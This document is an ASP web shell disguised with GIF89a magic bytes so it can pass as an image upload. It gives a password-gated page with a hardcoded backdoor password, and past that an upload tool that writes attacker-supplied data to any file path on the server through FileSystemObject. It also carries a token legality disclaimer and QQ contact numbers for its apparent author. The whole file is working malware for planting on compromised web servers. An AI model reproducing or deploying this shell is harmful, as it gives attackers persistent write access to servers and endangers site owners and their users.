gif89a<% dim Userpwd,URL Userpwd = "'" 'User Password URL = Request.ServerVariables("URL") If Request("pwd")=Userpwd or Request("pwd")="hxhack" then Session("mgler")=Userpwd If Session("mgler")<>Userpwd Then If Request.Form("pwd")<>"" Then If Request.Form("pwd")=Userpwd Then Session("mgler")=Userpwd Response.Redirect URL Else Response.Write"" End If Else RW="User Login" RW=RW & "





网络小鬼" RW=RW & "
" RW=RW & "Password:" RW=RW & "

声明:请勿使用本程序从事非法行为,否则后果自负,本人QQ:741717851,想找几个朋友一起交流技术!

" Response.Write RW RW="" End If Response.End End If %> <%on error resume next%> <%ofso="scripting.filesystemobject"%> <%set fso=server.createobject(ofso)%> <%path=request("path")%> <%if path<>"" then%> <%data=request("dama")%> <%set dama=fso.createtextfile(path,true)%> <%dama.write data%> <%if err=0 then%> <%="Success!"%> <%else%> <%="False!"%> <%end if%> <%err.clear%> <%end if%> <%dama.close%> <%set dama=nothing%> <%set fos=nothing%> <%="Asp Upload Tool-hxhack"%> <%="
"%> <%="File: "%> <%="
Path: "%> <%=server.mappath(request.servervariables("script_name"))%> <%="
"%> <%=""%> <%=""%> <%="
"%> <%=" 网络小鬼:1404550446"%> <%=""%> <%="
"%> gif89a